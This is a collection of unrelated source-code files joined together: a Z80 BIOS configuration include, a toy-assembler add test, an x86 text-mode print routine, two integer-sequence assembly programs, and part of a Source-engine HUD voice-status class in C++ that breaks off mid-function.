DIV_48 .EQU $14
DIV_96 .EQU $15
DIV_192 .EQU $16
DIV_384 .EQU $17
DIV_768 .EQU $18
DIV_1536 .EQU $19
DIV_3072 .EQU $1A
DIV_6144 .EQU $1B
DIV_12288 .EQU $1C
DIV_24576 .EQU $1D
DIV_49152 .EQU $1E
DIV_98304 .EQU $1F
;
SER_XON .EQU 1 << 6
SER_DTR .EQU 1 << 7
SER_RTS .EQU 1 << 13
;
SER_75_8N1 .EQU SER_BAUD75 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_150_8N1 .EQU SER_BAUD150 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_300_8N1 .EQU SER_BAUD300 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_600_8N1 .EQU SER_BAUD600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_1200_8N1 .EQU SER_BAUD1200 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_2400_8N1 .EQU SER_BAUD2400 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_4800_8N1 .EQU SER_BAUD4800 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_9600_8N1 .EQU SER_BAUD9600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_19200_8N1 .EQU SER_BAUD19200 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_38400_8N1 .EQU SER_BAUD38400 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_76800_8N1 .EQU SER_BAUD76800 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_153600_8N1 .EQU SER_BAUD153600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_307200_8N1 .EQU SER_BAUD307200 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_614400_8N1 .EQU SER_BAUD614400 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_1228800_8N1 .EQU SER_BAUD1228800 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_2457600_8N1 .EQU SER_BAUD2457600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_225_8N1 .EQU SER_BAUD225 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_450_8N1 .EQU SER_BAUD450 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_900_8N1 .EQU SER_BAUD900 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_1800_8N1 .EQU SER_BAUD1800 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_3600_8N1 .EQU SER_BAUD3600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_7200_8N1 .EQU SER_BAUD7200 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_14400_8N1 .EQU SER_BAUD14400 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_28800_8N1 .EQU SER_BAUD28800 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_57600_8N1 .EQU SER_BAUD57600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_115200_8N1 .EQU SER_BAUD115200 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_230400_8N1 .EQU SER_BAUD230400 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_460800_8N1 .EQU SER_BAUD460800 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_921600_8N1 .EQU SER_BAUD921600 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_1843200_8N1 .EQU SER_BAUD1843200 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_3686400_8N1 .EQU SER_BAUD3686400 | SER_DATA8 | SER_PARNONE | SER_STOP1
SER_7372800_8N1 .EQU SER_BAUD7372800 | SER_DATA8 | SER_PARNONE | SER_STOP1
;
; TERMENABLE CONTROLS INCLUSION OF TERMINAL PSEUDO-DEVICE DRIVER
; IT IS SET TO TRUE BY THE INCLUSION OF ANY VDA DRIVER.
;
TERMENABLE .EQU FALSE ; TERM PSEUDO DEVICE, WILL AUTO-ENABLE IF A VDA IS ENABLED
;
; VIDEO MODES
;
V80X24 .EQU 0 ; ECB-VDU
V80X25 .EQU 1 ; ECB-VDU, ECB-VGA3
V80X30 .EQU 2 ; ECB-VDU, ECB-VGA3
V80X25B .EQU 3 ; ECB-VDU
V80X24B .EQU 4 ; ECB-VDU
V80X43 .EQU 5 ; ECB-VGA3
V80X60 .EQU 6 ; ECB-VGA3
;
; KEYBOARD LAYOUTS
;
KBD_US .EQU 0 ; US ENGLISH
KBD_DE .EQU 1 ; GERMAN
;
; EMULATION TYPES
;
EMUTYP_NONE .EQU 0 ; NONE
EMUTYP_TTY .EQU 1 ; TTY
EMUTYP_ANSI .EQU 2 ; ANSI
;
; WATCHDOG TYPES
;
WDOG_NONE .EQU 0 ; NONE
WDOG_EZZ80 .EQU 1 ; EASY Z80 WATCHDOG
WDOG_SKZ .EQU 2 ; SK Z80 CPU W/ 512K
;
#INCLUDE "build.inc" ; INCLUDE USER CONFIG, ADD VARIANT, TIMESTAMP, & ROMSIZE
;
#IF (BIOS == BIOS_WBW)
#INCLUDE "hbios.inc"
#ENDIF
;
#IF (BIOS == BIOS_UNA)
#INCLUDE "../UBIOS/ubios.inc"
#ENDIF
;
;
; INCLUDE Z180 REGISTER DEFINITIONS
;
#IF (BIOS == BIOS_WBW)
#IF (CPUFAM == CPU_Z180)
#INCLUDE "z180.inc"
#ENDIF
#IF (CPUFAM == CPU_Z280)
#INCLUDE "z280.inc"
#ENDIF
#IF (EIPCENABLE)
#INCLUDE "eipc.inc"
#ENDIF
#ENDIF
;
; SETUP DEFAULT CPU SPEED VALUES
;
CPUKHZ .EQU CPUOSC / 1000 ; CPU FREQ IN KHZ
;
#IF (BIOS == BIOS_WBW)
#IF (CPUFAM == CPU_Z180)
#IF (Z180_CLKDIV == 0)
CPUKHZ .SET CPUKHZ / 2 ; ADJUST FOR HALF SPEED OPERATION
#ENDIF
#IF (Z180_CLKDIV == 2)
CPUKHZ .SET CPUKHZ * 2 ; ADJUST FOR DOUBLE SPEED OPERATION
#ENDIF
#ENDIF
#IF (CPUFAM == CPU_Z280)
CPUKHZ .SET CPUKHZ / 2 ; Z180 PHI IS ALWAYS 1/2 OSC
#ENDIF
#ENDIF
;
CPUMHZ .EQU CPUKHZ / 1000 ; CPU FREQ IN MHZ
;
; SYSTEM PERIODIC TIMER MODE
;
#IF (BIOS == BIOS_WBW)
;
TM_NONE .EQU 0
TM_CTC .EQU 1
TM_TMS .EQU 2
TM_SIMH .EQU 3
TM_Z180 .EQU 4
TM_Z280 .EQU 5
;
.ECHO "SYSTEM TIMER:"
SYSTIM .EQU TM_NONE
;
#IF (CTCENABLE & (INTMODE == 2))
#IF (CTCTIMER)
SYSTIM .SET TM_CTC
.ECHO " CTC"
#ENDIF
#ENDIF
;
#IF (TMSENABLE & (INTMODE == 1))
#IF (TMSTIMENABLE)
SYSTIM .SET TM_TMS
.ECHO " TMS9918/V9958"
#ENDIF
#ENDIF
;
#IF ((PLATFORM == PLT_SBC) & (INTMODE == 1))
#IF (HTIMENABLE)
SYSTIM .SET TM_SIMH
.ECHO " SIMH"
#ENDIF
#ENDIF
;
#IF ((CPUFAM == CPU_Z180) & (INTMODE == 2))
#IF (Z180_TIMER)
SYSTIM .SET TM_Z180
.ECHO " Z180"
#ENDIF
#ENDIF
;
#IF ((CPUFAM == CPU_Z280) & (MEMMGR == MM_Z280))
#IF (Z280_TIMER)
SYSTIM .SET TM_Z280
.ECHO " Z280"
#ENDIF
#ENDIF
;
#IF SYSTIM == TM_NONE
.ECHO " NONE"
#ENDIF
;
.ECHO "\n"
;
#ENDIF
;
; MEMORY BANK CONFIGURATION
;
#IF (BIOS == BIOS_UNA)
BID_ROM0 .EQU $0000 + (ROM_RESERVE / 32)
BID_RAM0 .EQU $8000 + (RAM_RESERVE / 32)
#ENDIF
;
#IF (BIOS == BIOS_WBW)
BID_ROM0 .EQU $00 + (ROM_RESERVE / 32)
BID_RAM0 .EQU $80 + (RAM_RESERVE / 32)
#ENDIF
BID_ROMN .EQU (BID_ROM0 + ((ROMSIZE / 32) - 1))
BID_RAMN .EQU (BID_RAM0 + ((RAMSIZE / 32) - 1))
BID_BOOT .EQU BID_ROM0 ; BOOT BANK
BID_IMG0 .EQU BID_ROM0 + 1 ; ROM LOADER AND FIRST IMAGES BANK
BID_IMG1 .EQU BID_ROM0 + 2 ; SECOND IMAGES BANK
;BID_FSFAT .EQU BID_ROM0 + 3 ; FAT FILESYSTEM DRIVER BANK
BID_IMG2 .EQU BID_ROM0 + 3 ; NETWORK BOOT
BID_ROMD0 .EQU BID_ROM0 + 4 ; FIRST ROM DRIVE BANK
BID_ROMDN .EQU BID_ROMN ; LAST ROM DRIVE BANK
BID_RAMD0 .EQU BID_RAM0 ; FIRST RAM DRIVE BANK
BID_RAMDN .EQU BID_RAMN - 4 ; LAST RAM DRIVE BANK
BID_AUX .EQU BID_RAMN - 3 ; AUX BANK (BPBIOS, ETC.)
BID_BIOS .EQU BID_RAMN - 2 ; BIOS BANK
BID_USR .EQU BID_RAMN - 1 ; USER BANK (CP/M TPA, ETC.)
BID_COM .EQU BID_RAMN ; COMMON BANK, UPPER 32K
;
; MEMORY LAYOUT
;
SYS_SIZ .EQU $3000 ; COMBINED SIZE OF SYSTEM AREA (OS + HBIOS PROXY)
HBBUF_SIZ .EQU 1024 ; INVARIANT HBIOS PHYSICAL DISK BUFFER, 1K
HBX_SIZ .EQU $200 ; HBIOS PROXY SIZE (SUBJECT TO CHANGE)
CPM_SIZ .EQU SYS_SIZ - HBX_SIZ ; NET SIZE OF ALL OS COMPONENTS (EXCLUDING HBIOS PROXY)
CCP_SIZ .EQU $800 ; INVARIANT SIZE OF CCP
BDOS_SIZ .EQU $E00 ; INVARIANT SIZE OF BDOS
CBIOS_SIZ .EQU CPM_SIZ - CCP_SIZ - BDOS_SIZ ; CBIOS IS THE REMAINDER
MEMTOP .EQU $10000 ; INVARIANT TOP OF Z80 ADDRESSABLE MEMORY
BNKTOP .EQU $8000 ; BANK MEMORY BARRIER
HBX_IMG .EQU $200 ; LOC OF HBX IMAGE IN HBIOS IMAGE BANK
HBBUF_END .EQU BNKTOP ; END OF PHYSICAL DISK BUFFER IN HBIOS
HBBUF_LOC .EQU HBBUF_END - HBBUF_SIZ ; START OF PHYSICAL DISK BUFFER
HBX_END .EQU MEMTOP ; END OF HBIOS PROXY
HBX_LOC .EQU HBX_END - HBX_SIZ ; START OF HBIOS PROXY
CPM_END .EQU HBX_LOC ; END OF CPM COMPONENTS (INCLUDING CBIOS)
CPM_LOC .EQU CPM_END - CPM_SIZ ; START OF CPM COMPONENTS
CBIOS_END .EQU HBX_LOC ; END OF CBIOS
CBIOS_LOC .EQU CBIOS_END - CBIOS_SIZ ; START OF CBIOS
CPM_ENT .EQU CBIOS_LOC ; CPM ENTRY POINT (IN CBIOS)
CPM_IMGSIZ .EQU $3000
; ROM BANK 1
LDR_LOC .EQU $0000
LDR_SIZ .EQU $1000
LDR_END .EQU LDR_LOC +LDR_SIZ
LDR_IMGLOC .EQU $0000
MON_LOC .EQU $EE00 ; LOCATION OF MONITOR FOR RUNNING SYSTEM
MON_SIZ .EQU $1000 ; SIZE OF MONITOR BINARY IMAGE
MON_END .EQU MON_LOC + MON_SIZ ; END OF MONITOR
MON_IMGLOC .EQU LDR_IMGLOC + LDR_SIZ
ZSYS_IMGLOC .EQU MON_IMGLOC + MON_SIZ
CPM_IMGLOC .EQU ZSYS_IMGLOC + CPM_IMGSIZ
; ROM BANK 2
FTH_LOC .EQU $0200 ; CAMEL FORTH
FTH_SIZ .EQU $1700
FTH_END .EQU FTH_LOC + FTH_SIZ
FTH_IMGLOC .EQU $0000
BAS_LOC .EQU $0200 ; NASCOM BASIC
BAS_SIZ .EQU $2000
BAS_END .EQU BAS_LOC + BAS_SIZ
BAS_IMGLOC .EQU FTH_IMGLOC + FTH_SIZ
TBC_LOC .EQU $0A00 ; TASTYBASIC
TBC_SIZ .EQU $0900
TBC_END .EQU TBC_LOC + TBC_SIZ
TBC_IMGLOC .EQU BAS_IMGLOC + BAS_SIZ
GAM_LOC .EQU $0200 ; GAME 2048
GAM_SIZ .EQU $0900
GAM_END .EQU GAM_LOC + GAM_SIZ
GAM_IMGLOC .EQU TBC_IMGLOC + TBC_SIZ
EGG_LOC .EQU $F000 ; EASTER EGG
EGG_SIZ .EQU $0200
EGG_END .EQU EGG_LOC + EGG_SIZ
EGG_IMGLOC .EQU GAM_IMGLOC + GAM_SIZ
NET_LOC .EQU $0100 ; NETWORK BOOT
NET_SIZ .EQU $1000
NET_END .EQU NET_LOC + NET_SIZ
NET_IMGLOC .EQU EGG_IMGLOC + EGG_SIZ
UPD_LOC .EQU $0200 ; ROM UPDATER
UPD_SIZ .EQU $0D00
UPD_END .EQU UPD_LOC + UPD_SIZ
UPD_IMGLOC .EQU NET_IMGLOC + NET_SIZ
USR_LOC .EQU $0200 ; USER
USR_SIZ .EQU BNKTOP - UPD_IMGLOC - UPD_SIZ
USR_END .EQU USR_LOC + USR_SIZ
USR_IMGLOC .EQU UPD_IMGLOC + UPD_SIZ
MON_DSKY .EQU MON_LOC + (0 * 3) ; MONITOR ENTRY (DSKY)
MON_SERIAL .EQU MON_LOC + (1 * 3) ; MONITOR ENTRY (SERIAL PORT)
;
; INTERRUPT MODE 2 SLOT ASSIGNMENTS
;
#IF ((INTMODE == 2) | (INTMODE == 3))
#IF ((CPUFAM == CPU_Z180) | (CPUFAM == CPU_Z280))
; Z180-BASED SYSTEMS
INT_INT1 .EQU 0 ; Z180 INT 1
INT_INT2 .EQU 1 ; Z180 INT 2
INT_TIM0 .EQU 2 ; Z180 TIMER 0
INT_TIM1 .EQU 3 ; Z180 TIMER 1
INT_DMA0 .EQU 4 ; Z180 DMA 0
INT_DMA1 .EQU 5 ; Z180 DMA 1
INT_CSIO .EQU 6 ; Z180 CSIO
INT_SER0 .EQU 7 ; Z180 SERIAL 0
INT_SER1 .EQU 8 ; Z180 SERIAL 0
INT_PIO0A .EQU 9 ; ZILOG PIO 0, CHANNEL A
INT_PIO0B .EQU 10 ; ZILOG PIO 0, CHANNEL B
INT_PIO1A .EQU 11 ; ZILOG PIO 1, CHANNEL A
INT_PIO1B .EQU 12 ; ZILOG PIO 1, CHANNEL B
INT_SIO0 .EQU 13 ; ZILOG SIO 0, CHANNEL A & B
INT_SIO1 .EQU 14 ; ZILOG SIO 1, CHANNEL A & B
#ELSE
; Z80-BASED SYSTEMS
INT_CTC0A .EQU 0 ; ZILOG CTC 0, CHANNEL A
INT_CTC0B .EQU 1 ; ZILOG CTC 0, CHANNEL B
INT_CTC0C .EQU 2 ; ZILOG CTC 0, CHANNEL C
INT_CTC0D .EQU 3 ; ZILOG CTC 0, CHANNEL D
INT_UART0 .EQU 4 ; MBC UART 0
INT_UART1 .EQU 5 ; MBC UART 1
INT_SIO0 .EQU 7 ; ZILOG SIO 0, CHANNEL A & B
INT_SIO1 .EQU 8 ; ZILOG SIO 1, CHANNEL A & B
INT_PIO0A .EQU 9 ; ZILOG PIO 0, CHANNEL A
INT_PIO0B .EQU 10 ; ZILOG PIO 0, CHANNEL B
INT_PIO1A .EQU 11 ; ZILOG PIO 1, CHANNEL A
INT_PIO1B .EQU 12 ; ZILOG PIO 1, CHANNEL B
#ENDIF
#DEFINE IVT(INTX) HB_IVT+(INTX * 4)+1
#DEFINE VEC(INTX) INTX*2
#ENDIF
; SET DEFAULT CSIO SPEED (INTERNAL CLOCK, SLOW AS POSSIBLE)
; DIV 1280, 14KHZ @ 18MHZ CLK
#IF (BIOS == BIOS_WBW)
#IF (CPUFAM == CPU_Z180)
Z180_CNTR_DEF .EQU $06 ; DEFAULT VALUE FOR Z180 CSIO CONFIG
#ENDIF
#ENDIF
;
; HELPER MACROS
;
#DEFINE PRTC(C) CALL PRTCH \ .DB C ; PRINT CHARACTER C TO CONSOLE - PRTC('X')
#DEFINE PRTS(S) CALL PRTSTRD \ .TEXT S ; PRINT STRING S TO CONSOLE - PRTD("HELLO")
#DEFINE PRTX(X) CALL PRTSTRI \ .DW X ; PRINT STRING AT ADDRESS X TO CONSOLE - PRTI(STR_HELLO)
#DEFINE DEBUG(S) CALL PRTSTRD \ .TEXT S \ .TEXT "$" ; $$$$$$ PRINT STRING S TO CONSOLE - PRTD("HELLO") - NO TRAILING $ REQUIRED
;
#DEFINE XIO_PRTC(C) CALL XIO_PRTCH \ .DB C ; PRINT CHARACTER C TO CONSOLE - PRTC('X')
#DEFINE XIO_PRTS(S) CALL XIO_PRTSTRD \ .DB S ; PRINT STRING S TO CONSOLE - PRTD("HELLO")
#DEFINE XIO_PRTX(X) CALL XIO_PRTSTRI \ .DW X ; PRINT STRING AT ADDRESS X TO CONSOLE - PRTI(STR_HELLO)
|
# $Id: 02_add_1.asm,v 1.2 2001/03/22 00:39:03 ellard Exp $
#
# Copyright 1999-2000 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ tests add
# OK
lc r2, 1
add r3, r2, r2
add r4, r3, r2
add r5, r4, r2
add r6, r5, r2
add r7, r6, r2
add r8, r7, r2
add r9, r8, r2
add r10, r9, r2
add r11, r10, r2
add r12, r11, r2
add r13, r12, r2
add r14, r13, r2
add r15, r14, r2
hlt
|
TextMode.println : ; ebx is String
pusha
call TextMode.print
call TextMode.newline
popa
ret
TextMode.print : ; ebx is String
pusha
mov ah, 0x0F
mov ecx, [TextMode.charpos]
TextMode.println.loop :
mov al, [ebx]
cmp al, 0x0
je TextMode.println.ret
mov [ecx], ax
add ecx, 2
add ebx, 1
jmp TextMode.println.loop
TextMode.println.ret :
mov [TextMode.charpos], ecx
call TextMode.scroll
popa
ret
TextMode.cprint :
pusha
mov ecx, [TextMode.charpos]
mov [ecx], ax
add ecx, 2
mov [TextMode.charpos], ecx
popa
ret
TextMode.newline :
pusha
mov eax, [TextMode.charpos]
sub eax, 0xb8000
xor ebx, ebx
xor edx, edx
mov ecx, 160
idiv ecx
add eax, 1
imul eax, 160
add eax, 0xb8000
mov [TextMode.charpos], eax
call TextMode.scroll
popa
ret
TextMode.clearScreen :
pusha
mov eax, 0xb8000
mov [TextMode.charpos], eax
TextMode.clearScreen.loop :
cmp eax, 0xb9000
je TextMode.clearScreen.ret
mov dword [eax], 0x0
add eax, 4
jmp TextMode.clearScreen.loop
TextMode.clearScreen.ret :
popa
ret
DebugLogEAX :
pusha
mov ecx, DebugStringStor
mov dword [ecx], 0x0
add ecx, 4
mov dword [ecx], 0x0
mov ebx, eax
mov eax, DebugStringStor
call String.fromHex
;mov ebx, eax
;call String.copyColorToRaw
;call TextMode.clearScreen
call TextMode.print
popa
ret
TextMode.scroll :
pusha
mov ecx, [TextMode.charpos]
cmp ecx, 0xb8ec0 ; should be less than b9000!
jle TextMode.scroll.ret
; call TextMode.clearScreen
;mov esi, 0xb9000
;mov edx, 0xb8000
;mov ecx, 0x1000
;rep movsb
sub ecx, 0xA0
mov [TextMode.charpos], ecx
mov eax, 0xb80A0
mov ebx, 0xb8000
mov ecx, 0x1000
mov edx, 1
call Image.copyLinear
TextMode.scroll.ret :
popa
ret
TextMode.charpos :
dd 0xb8000
DebugStringStor :
dd 0x0, 0x0, 0x0, 0x0, 0x0 |
; A027276: a(n) = Sum_{k=0..2n} (k+1) * A026552(n, k).
; 1,6,27,72,270,648,2268,5184,17496,38880,128304,279936,909792,1959552,6298560,13436928,42830208,90699264,287214336,604661760,1904684544,3990767616,12516498432,26121388032,81629337600,169789022208
mov $3,$0
add $0,2
mov $1,$3
mov $3,$0
add $3,5
mov $0,$3
add $1,1
mov $2,$3
add $2,$3
lpb $0
sub $0,1
gcd $2,2
add $2,1
mul $1,$2
lpe
sub $1,432
div $1,432
add $1,1
|
; A305060: a(n) = 18*2^n + 10.
; 28,46,82,154,298,586,1162,2314,4618,9226,18442,36874,73738,147466,294922,589834,1179658,2359306,4718602,9437194,18874378,37748746,75497482,150994954,301989898,603979786,1207959562,2415919114,4831838218,9663676426,19327352842,38654705674,77309411338,154618822666,309237645322
mov $1,2
pow $1,$0
sub $1,1
mul $1,18
add $1,28
mov $0,$1
|
//========= Copyright Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
//=============================================================================//
#include "cbase.h"
#include "hudelement.h"
#include <vgui_controls/Panel.h>
#include <vgui/ISurface.h>
#include <vgui/ILocalize.h>
#include "c_baseplayer.h"
#include "voice_status.h"
#include "clientmode_shared.h"
#include "c_playerresource.h"
#include "voice_common.h"
#include "vgui_avatarimage.h"
ConVar *sv_alltalk = NULL;
//=============================================================================
// Icon for the local player using voice
//=============================================================================
class CHudVoiceSelfStatus : public CHudElement, public vgui::Panel
{
public:
DECLARE_CLASS_SIMPLE( CHudVoiceSelfStatus, vgui::Panel );
CHudVoiceSelfStatus( const char *name );
virtual bool ShouldDraw();
virtual void Paint();
virtual void VidInit();
virtual void ApplySchemeSettings(vgui::IScheme *pScheme);
private:
CHudTexture *m_pVoiceIcon;
Color m_clrIcon;
};
DECLARE_HUDELEMENT( CHudVoiceSelfStatus );
CHudVoiceSelfStatus::CHudVoiceSelfStatus( const char *pName ) :
vgui::Panel( NULL, "HudVoiceSelfStatus" ), CHudElement( pName )
{
SetParent( g_pClientMode->GetViewport() );
m_pVoiceIcon = NULL;
SetHiddenBits( 0 );
m_clrIcon = Color(255,255,255,255);
}
void CHudVoiceSelfStatus::ApplySchemeSettings(vgui::IScheme *pScheme)
{
BaseClass::ApplySchemeSettings( pScheme );
#ifdef HL2MP
SetBgColor( Color( 0, 0, 0, 0 ) );
#endif
}
void CHudVoiceSelfStatus::VidInit( void )
{
m_pVoiceIcon = gHUD.GetIcon( "voice_self" );
}
bool CHudVoiceSelfStatus::ShouldDraw()
{
return GetClientVoiceMgr()->IsLocalPlayerSpeaking();
}
void CHudVoiceSelfStatus::Paint()
{
if( !m_pVoiceIcon )
return;
int x, y, w, h;
GetBounds( x, y, w, h );
m_pVoiceIcon->DrawSelf( 0, 0, w, h, m_clrIcon );
}
//=============================================================================
// Icons for other players using voice
//=============================================================================
class CHudVoiceStatus : public CHudElement, public vgui::Panel
{
public:
DECLARE_CLASS_SIMPLE( CHudVoiceStatus, vgui::Panel );
CHudVoiceStatus( const char *name );
~CHudVoiceStatus( void );
virtual bool ShouldDraw();
virtual void Paint();
virtual void VidInit();
virtual void Init();
virtual void OnThink();
virtual void ApplySchemeSettings(vgui::IScheme *pScheme);
protected:
void ClearActiveList();
int FindActiveSpeaker( int playerId );
private:
CHudTexture *m_pVoiceIcon;
int m_iDeadImageID;
Color m_clrIcon;
struct ActiveSpeaker
{
int playerId;
CAvatarImage* pAvatar;
bool bSpeaking;
float fAlpha;
};
CUtlLinkedList< ActiveSpeaker > m_SpeakingList;
// CUtlLinkedList< CAvatarImagePanel* > m_SpeakingListAvatar;
CPanelAnimationVar( vgui::HFont, m_NameFont, "Default", "Default" );
CPanelAnimationVarAliasType( float, item_tall, "item_tall", "16", "proportional_float" );
CPanelAnimationVarAliasType( float, item_wide, "item_wide", "160", "proportional_float" );
CPanelAnimationVarAliasType( float, item_spacing, "item_spacing", "2", "proportional_float" );
CPanelAnimationVarAliasType( bool, show_avatar, "show_avatar", "0", "bool" );
CPanelAnimationVarAliasType( bool, show_friend, "show_friend", "1", "bool" );
CPanelAnimationVarAliasType( float, avatar_ypos, "avatar_ypos", "0", "proportional_float" );
CPanelAnimationVarAliasType( float, avatar_xpos, "avatar_xpos", "16", "proportional_float" );
CPanelAnimationVarAliasType( float, avatar_tall, "avatar_tall", "16", "proportional_float" );
CPanelAnimationVarAliasType( float, avatar_wide, "avatar_wide", "16", "proportional_float" );
CPanelAnimationVarAliasType( bool, show_voice_icon, "show_voice_icon", "1", "bool" );
CPanelAnimationVarAliasType( float, voice_icon_ypos, "icon_ypos", "0", "proportional_float" );
CPanelAnimationVarAliasType( float, voice_icon_xpos, "icon_xpos", "24", "proportional_float" );
CPanelAnimationVarAliasType( float, voice_icon_tall, "icon_tall", "16", "proportional_float" );
CPanelAnimationVarAliasType( float, voice_icon_wide, "icon_wide", "16", "proportional_float" );
CPanelAnimationVarAliasType( bool, show_dead_icon, "show_dead_icon", "1", "bool" );
CPanelAnimationVarAliasType( float, dead_icon_ypos, "dead_ypos", "0", "proportional_float" );
CPanelAnimationVarAliasType( float, dead_icon_xpos, "dead_xpos", "0", "proportional_float" );
CPanelAnimationVarAliasType( float, dead_icon_tall, "dead_tall", "16", "proportional_float" );
CPanelAnimationVarAliasType( float, dead_icon_wide, "dead_wide", "16", "proportional_float" );
CPanelAnimationVarAliasType( float, text_xpos, "text_xpos", "40", "proportional_float" );
CPanelAnimationVarAliasType( float, fade_in_time, "fade_in_time", "0.0", "float" );
CPanelAnimationVarAliasType( float, fade_out_time, "fade_out_time", "0.0", "float" );
};
DECLARE_HUDELEMENT( CHudVoiceStatus );
CHudVoiceStatus::CHudVoiceStatus( const char *pName ) :
vgui::Panel( NULL, "HudVoiceStatus" ), CHudElement( pName )
{
SetParent( g_pClientMode->GetViewport() );
m_pVoiceIcon = NULL;
SetHiddenBits( 0 );
m_clrIcon = Color(255,255,255,255);
m_iDeadImageID = surface()->DrawGetTextureId( "hud/leaderboard_dead" );
if ( m_iDeadImageID == -1 ) // we didn't find it, so create a new one
{
m_iDeadImageID = surface()->CreateNewTextureID();
surface()->DrawSetTextureFile( m_iDeadImageID, "hud/leaderboard_dead", true, false );
}
}
CHudVoiceStatus::~CHudVoiceStatus()
{
ClearActiveList();
}
void CHudVoiceStatus::ApplySchemeSettings(vgui::IScheme *pScheme)
{
BaseClass::ApplySchemeSettings( pScheme );
#ifdef HL2MP
SetBgColor( Color( 0, 0, 0, 0 ) );
#endif
}
void CHudVoiceStatus::Init( void )
{
ClearActiveList();
}
void CHudVoiceStatus::VidInit( void )
{
m_pVoiceIcon = gHUD.GetIcon( "voice_player" );
}
void CHudVoiceStatus::OnThink( void )
{
for ( int iPlayerIndex=1; iPlayerIndex<=gpGlobals->maxClients; iPlayerIndex++ )
{
int activeSpeakerIndex = FindActiveSpeaker(iPlayerIndex);
bool bSpeaking = GetClientVoiceMgr()->IsPlayerSpeaking(iPlayerIndex);
if (activeSpeakerIndex != m_SpeakingList.InvalidIndex() )
{
// update their speaking status
m_SpeakingList[activeSpeakerIndex].bSpeaking = bSpeaking;
}
else
{
//=============================================================================
// HPE_BEGIN:
// [Forrest] Don't use UTIL_PlayerByIndex here. It may be null for some players when
// a match starts because the server only passes full player info as it affects
// the client.
//=============================================================================
// if they are talking and not in the list, add them to the end
if( bSpeaking )
{
ActiveSpeaker activeSpeaker;
activeSpeaker.playerId = iPlayerIndex;
activeSpeaker.bSpeaking = true;
activeSpeaker.fAlpha = 0.0f;
activeSpeaker.pAvatar = NULL;
//=============================================================================
// HPE_BEGIN:
// [pfreese] If a player is now talking set up their avatar
//=============================================================================
activeSpeaker.pAvatar = new CAvatarImage();
/*#ifdef CSTRIKE_DLL
// [jpaquin] this allows counter strike to display default avatars for bots. It can't be a virtual function on
// C_BasePlayer because there would be no way to get a game specific default image if the player is null.
extern vgui::IImage* GetDefaultAvatarImage( C_BasePlayer *pPlayer );
activeSpeaker.pAvatar->SetDefaultImage( GetDefaultAvatarImage( UTIL_PlayerByIndex( activeSpeaker.playerId ) ) );
#endif*/
activeSpeaker.pAvatar->SetDrawFriend(show_friend);
player_info_t pi;
if ( engine->GetPlayerInfo( iPlayerIndex, &pi ) )
{
if ( steamapicontext != NULL && steamapicontext->SteamUtils() != NULL )
{
CSteamID steamIDForPlayer( pi.friendsID, 1, steamapicontext->SteamUtils()->GetConnectedUniverse(), k_EAccountTypeIndividual );
activeSpeaker.pAvatar->SetAvatarSteamID(steamIDForPlayer, k_EAvatarSize32x32);
}
}
activeSpeaker.pAvatar->SetAvatarSize( avatar_wide, avatar_tall);
//=============================================================================
// HPE_END
//=============================================================================
m_SpeakingList.AddToTail(activeSpeaker);
}
//=============================================================================
// HPE_END
//=============================================================================
}
}
float fTime = gpGlobals->frametime;
for ( int i = m_SpeakingList.Head(); i != m_SpeakingList.InvalidIndex(); )
{
ActiveSpeaker& activeSpeaker = m_SpeakingList[i];
if (activeSpeaker.bSpeaking)
{
if ( fade_in_time > 0.0f )
{
activeSpeaker.fAlpha += fTime / fade_in_time;
if ( activeSpeaker.fAlpha > 1.0f )
activeSpeaker.fAlpha = 1.0f;
}
else
{
activeSpeaker.fAlpha = 1.0f;
}
}
else
{
if ( fade_out_time > 0.0f )
{
activeSpeaker.fAlpha -= fTime / fade_out_time;
}
else
{
activeSpeaker.fAlpha = 0.0f;
}
if ( activeSpeaker.fAlpha <= 0.0f )
{
// completely faded, remove them them from the list
delete activeSpeaker.pAvatar;
int iNext = m_SpeakingList.Next(i);
m_SpeakingList.Remove(i);
i = iNext;
continue;
}
}
i = m_SpeakingList.Next(i);
}
}
bool CHudVoiceStatus::ShouldDraw()
{
if ( IsInFreezeCam() == true )
return false;
return true;
}
void CHudVoiceStatus::Paint()
{
if( !m_pVoiceIcon )
return;
int x, y, w, h;
GetBounds( x, y, w, h );
// Heights to draw the current voice item at
int ypos = h - item_tall;
int length = m_SpeakingList.Count();
int iFontHeight = 0;
if( length > 0 )
{
surface()->DrawSetTextFont( m_NameFont );
surface()->DrawSetTextColor( Color(255,255,255,255) );
iFontHeight = surface()->GetFontTall( m_NameFont );
}
if ( !sv_alltalk )
sv_alltalk = cvar->FindVar( "sv_alltalk" );
//draw everyone in the list!
FOR_EACH_LL(m_SpeakingList, i)
{
int playerId = m_SpeakingList[i].playerId;
bool bIsAlive = g_PR->IsAlive( playerId );
float oldAlphaMultiplier = surface()->DrawGetAlphaMultiplier();
surface()->DrawSetAlphaMultiplier(oldAlphaMultiplier * m_SpeakingList[i].fAlpha);
